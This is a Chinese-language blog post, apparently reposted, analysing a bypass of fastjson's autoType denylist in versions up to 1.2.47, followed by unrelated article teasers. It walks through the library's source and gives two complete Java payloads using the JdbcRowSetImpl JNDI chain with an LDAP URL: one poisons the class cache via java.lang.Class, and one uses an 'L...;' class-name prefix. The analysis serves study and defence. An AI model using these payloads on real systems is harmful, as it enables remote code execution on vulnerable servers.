fastjson-小于1.2.47绕过

news2024/9/21 20:44:36

参考视频:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

分析版本

fastjson1.2.24

JDK 8u141

分析流程

分析fastjson1.2.25更新的源码,用JsonBcel链跟进

先看修改的地方

fastjson1.2.24

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

fastjson1.2.25

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
    Class<?> clazz = config.checkAutoType(typeName, null);

可以看到loadClass的方法,被替换了,主要的安全逻辑就在替换的方法里,跟进看替换的方法Class<?> clazz = config.checkAutoType(typeName, null);

里面是很多if语句,黑白名单判断(分析写在注释)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }

    final String className = typeName.replace('$', '.'); //替换下内部类符号

    if (autoTypeSupport || expectClass != null) {    //autoTypeSupport默认false,expectClass默认null,这个判断默认为false
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];     //白名单默认为空
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];    //黑名单,可以自己debug看看
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//先在缓存中查找
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);//缓存没有在已有的反序列化器中查找
    }

    if (clazz != null) { //找到类进入次判断
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //做个判断
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

    if (!autoTypeSupport) {//autoTypeSupport为true
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {

        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    return clazz;
}

关于checkAutoType方法的流程图,我放在我的github上了Java反序列化学习 有帮助的话大家可以star一下

我在图中return的位置都拿绿色标记了,很明显我们要绕过检测必须控制流程走到return处。

攻击实现

autoTypeSupport参数为false

autoTypeSupport参数和白名单我们无法控制的条件下,我们发现只剩一个缓存加载的绕过方式了。下面看下能否利用。

发现缓存表mapping的put方式有两个位置,第一个位置很明显在初始化时被调用写入的缓存。

在这里插入图片描述

看第二个位置能否利用,是在loadClass里面,我们可以看到这个loadClass用法就是,在缓存中没找到的类加载时把这个类加进缓存中。

在这里插入图片描述

我们如果可以控制传参,并调用loadClass就可以把恶意类加入缓存中。之后继续找loadClass的调用

只有一处可能有利用点的地方,就是在MiscCodec下面,而MiscCodec继承了ObjectSerializer, ObjectDeserializer是个反序列化器。

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

而MiscCodec的利用就是在加载默认的反序列化器时,Class的反序列化器也是它。

deserializers.put(Class.class, MiscCodec.instance);

所以绕过思路有了,我们先反序列化一个Class,它的值为恶意类,之后再反序列化恶意类。

写payload时,要注意传值,让程序执行到我们要调用的位置。

return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());这里strVal是我们要传的恶意类名,看下怎么赋值的。

//MiscCodec#deserialze
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
    parser.resolveStatus = DefaultJSONParser.NONE;
    parser.accept(JSONToken.COMMA);

    if (lexer.token() == JSONToken.LITERAL_STRING) {
        if (!"val".equals(lexer.stringVal())) {           //注意这里不能抛出异常,如果抛出异常程序就走不到loadClass处了,所以我们传入的属性名应为val
            throw new JSONException("syntax error");
        }
        lexer.nextToken();
    } else {
        throw new JSONException("syntax error");
    }

    parser.accept(JSONToken.COLON);

    objVal = parser.parse();

    parser.accept(JSONToken.RBRACE);
} else {
    objVal = parser.parse();
}

下面就能写出payload了

public class FastJsonBypass1 {
    public static void main(String[] args) throws Exception {
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}}";
        JSONObject jsonObject = JSON.parseObject(s);
    }
}

跟一下利用流程

先看Class的反序列化

//ParserConfig#checkAutoType
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);   //在缓存中找不到
if (clazz == null) {
    clazz = deserializers.findClass(typeName);              //可以找到反序列化器,也就是MiscCodec,返回Class
}

if (clazz != null) {                                        //进入此循环
    if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //期望类为空,不进入此循环
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;   //返回Class
}

之后return调用

//defaultJSONParser#parseObject
ObjectDeserializer deserializer = config.getDeserializer(clazz);  //调用返回MiscCodec反序列化器
return deserializer.deserialze(this, clazz, fieldName); //MiscCodec.deserialze

MiscCodec.deserialze把传入的String(也就是com.sun.rowset.JdbcRowSetImpl),反序列化为Class对象

lexer.stringVal()==val

在这里插入图片描述

再往下走到

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  //loadClass(com.sun.rowset.JdbcRowSetImpl),并存入缓存
}

之后回到

//defaultJSONParser#parseObject
return deserializer.deserialze(this, clazz, fieldName);  //MiscCodec.deserialze

之后进入下一轮循环,也就是反序列化com.sun.rowset.JdbcRowSetImpl

就不在这写了,下面流程在 fastjson-流程分析中写过了。

autoTypeSupport参数为true

如果autoTypeSupport开启的情况下,跟进流程图可以看到先过黑白名单之后才加载和返回类。

在上面分析时,我们也能注意到,在loadClass中有对传入类名的处理,对数组类进行处理,把L;,[,直接去掉后加载,这里绕过黑名单很容易。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className == null || className.length() == 0) {
        return null;
    }

    Class<?> clazz = mappings.get(className);

    if (clazz != null) {
        return clazz;
    }

    if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }

    if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }

payload

public class FastJsonBypass1 {
    public static void main(String[] args) throws Exception {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //开启autoTypeSupport参数
        String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";

        JSONObject jsonObject = JSON.parseObject(s);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972561.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鸿蒙(API 12 Beta2版)NDK开发【JSVM-API简介】

JSVM-API简介 场景介绍 HarmonyOS JSVM-API是基于标准JS引擎提供的一套稳定的ABI&#xff0c;为开发者提供了较为完整的JS引擎能力&#xff0c;包括创建和销毁引擎&#xff0c;执行JS代码&#xff0c;JS/C交互等关键能力。 通过JSVM-API&#xff0c;开发者可以在应用运行期间…

大语言模型时代的挑战与机遇:青年发展、教育变革与就业前景

摘要: 当前,大语言模型技术的崛起正在对多个领域带来深远影响,其中教育与就业便是重点受影响领域之一。本文旨在深入探究大语言模型对青年群体发展、教育体系变革以及就业前景的影响,并提出相应的应对措施与建议。 通过运用社会认知理论、建构主义教育理论、技能匹配理论等学…

基于单片机的多功能视力保护器设计

摘要&#xff1a;眼睛是人心灵的窗户&#xff0c;现在信息网络技术的发展&#xff0c;手机成了人们的必备之物&#xff0c;青少年不良的习惯导致现在视力问题严重。越来越多的视力保护产品得到了研发&#xff0c;其中基于单片机的新型视力保护装置&#xff0c;为视力保护产生了…

作用域和链接属性

是什么决定了两个同名变量是否会发生冲突&#xff1f; 是作用域。 goto 语句的作用域是&#xff1f;答&#xff1a;goto 语句受函数作用域&#xff08;function scope&#xff09;所限制&#xff0c;因此 goto 语句仅能在函数体内部跳转&#xff0c;不能跨函数跳跃。 全局变…

【雅思报考流程】教你报名雅思考试 | 保姆级雅思报考指导教程!

官网 1.注册 首先进行注册 剩下正常填写即可&#xff0c;注册完毕会给邮箱发送确认邮件需要确认一下以及用户号这个很重要需要妥善保存 2.充值 会看到不同的类别&#xff0c;其中雅思考试费第一个是标准的雅思考试&#xff0c;第二个是英国签证的UKVI要看去英国上不上语言…

精通推荐算法16:特征交叉之PNN

1 背景 Deep Crossing通过“Embedding MLP”的范式&#xff0c;奠定了深度学习在推荐算法中的重要地位&#xff0c;引领了一股学术界和工业界不断应用和优化深度学习推荐算法的风潮。上海交通大学提出了PNN模型&#xff0c;通过在Embedding层之后引入一个Product层&#xff0…

实战大数据:分布式大数据分析处理系统的开发与应用

&#x1f482; 个人网站:【 摸鱼游戏】【网址导航】【神级代码资源网站】&#x1f91f; 一站式轻松构建小程序、Web网站、移动应用&#xff1a;&#x1f449;注册地址&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交…

对 Redis 的认识还停留在 4.x 版本?7.0 全新特性很惊艳!

我是码哥&#xff0c;可以叫我靓仔。我人生中的第一本书《Redis 高手心法》出版了&#xff01; 作为当今广受欢迎的内存数据库&#xff0c;Redis 以其卓越的性能和广泛的应用场景著称。 掌握 Redis 技术几乎成为每位开发人员、测试人员和运维人员的看家本领&#xff01; 大约…

查物流信息用什么软件

在电子商务日益繁荣的今天&#xff0c;快递物流信息的查询成为了我们日常生活中不可或缺的一部分。无论是网购达人还是商家&#xff0c;都需要随时掌握货物的物流动态。然而&#xff0c;如何快速、准确地查询物流信息却是一个令人头疼的问题。今天&#xff0c;我将为大家介绍一…

使用ASH诊断Oracle解析故障

英文原文在&#xff1a;Diagnosing Parsing Issue with ASH 解析&#xff0c;尤其是硬解析&#xff0c;是非生产性操作&#xff0c;会消耗大量系统资源&#xff0c;导致库缓存争用。ASH&#xff08;Active Session History&#xff09;可以通过其采样机制来诊断和分析过度的解…

MySQL--插入、更新与删除数据

前言&#xff1a;本博客仅作记录学习使用&#xff0c;部分图片出自网络&#xff0c;如有侵犯您的权益&#xff0c;请联系删除 一、插入数据 1、为表的所有字段插入数据 使用基本的INSERT语句插入数据要求指定表名称和插入到新记录中的值&#xff0c;其语法&#xff1a; inser…

Gradle 统一管理依赖

BOM 介绍 BOM 是 Bill of Material 的简写&#xff0c;表示物料清单。BOM 使我们在使用 Maven 或 Gradle 构建项目时对于依赖版本的统一变得更加规范&#xff0c;升级依赖版本更容易。 比如我们使用 SpringBoot 和 SpringCloud 做项目时&#xff0c;可以使用他们发布的 BOM …

CIFAR-10 数据集图像分类与可视化

数据准备 CIFAR-10 and CIFAR-100 datasets (toronto.edu)在上述网站中下载Python版本的CIFAR-10数据集。 下载后的压缩包解压后会得到几个文件如下&#xff1a; 对应的data_batch_1 ~ data_batch_5 是划分好的训练数据&#xff0c;每个文件里包含10000张图片&#xff0c;test…

基于SpringBoot + Vue的前后端分离项目-外包平台

项目名称&#xff1a;外包平台 作者的B站地址&#xff1a;程序员云翼的个人空间-程序员云翼个人主页-哔哩哔哩视频 csdn地址&#xff1a;程序员云翼-CSDN博客 1.项目技术栈&#xff1a; 前后端分离的项目 后端&#xff1a;Springboot MybatisPlus 前端&#xff1a;Vue …

达梦数据库安装(DM8)新版 windows11下安装及超详细使用教程

windows11下达梦数据库安装 1、安装参考链接2、存在问题2.1新建表空间失败&#xff0c;详情错误号: -70142.2创建表、视图等 1、安装参考链接 https://blog.csdn.net/u014096024/article/details/134722013 2、存在问题 2.1新建表空间失败&#xff0c;详情错误号: -7014 解决…

掌握 LINQ:通过示例解释 C# 中强大的 LINQ的集运算

文章目录 集运算符原理实战示例1. Union2. Intersect3. Except4. ExceptWith5. Concat6. Distinct 注意事项总结 在C#中&#xff0c;LINQ&#xff08;Language Integrated Query&#xff09;提供了丰富的集合操作功能&#xff0c;使得对集合数据进行查询、过滤、排序等操作变得…

从程序员视角浅入浅出了解计算机硬件——内存

前言 内存(Memory)是计算机的重要部件&#xff0c;用于存储数据和指令的重要组件&#xff0c;是冯诺依曼计算机中是的存储器部分。作为与CPU进行沟通的桥梁&#xff0c;内存用于临时存储计CPU中的运算数据&#xff0c;以及与硬盘、网卡等外部组件数据&#xff0c;以便CPU能够快…

STM32卡死、跑飞如何调试确定问题

目录 前言 一、程序跑飞原因 二、调试工具 2.1Registers工具 2.2 Memory工具 2.3 Disassembly工具 2.4 Call Stack工具 三、找到程序跑飞位置 方式一、 方式二、 前言 我们初学STM32的时候代码难免会出现疏忽&#xff0c;导致程序跑飞&#xff0c;不再正常运行&#…

电脑桌面便签软件哪个好,桌面便签如何显示在桌面?

在繁忙的工作日里&#xff0c;一款优秀的电脑桌面便签软件就像是一位贴心的小秘书&#xff0c;帮助你记录重要事项&#xff0c;提醒你不要错过任何细节。那么&#xff0c;哪个电脑桌面便签软件可以帮助我们更好地记录和管理日常工作和学习中的事项呢&#xff1f;又如何将桌面便…

16.搜索框滑块和简单验证

一、一些简单的验证 邮箱验证 <!-- 邮件验证 --><p>邮箱&#xff1a;<input type"email" name"email"></p>邮箱验证框的type是email&#xff0c;在框内&#xff0c;它会自动检测输入内容的格式 &#xff0c;若格式非邮箱格式&…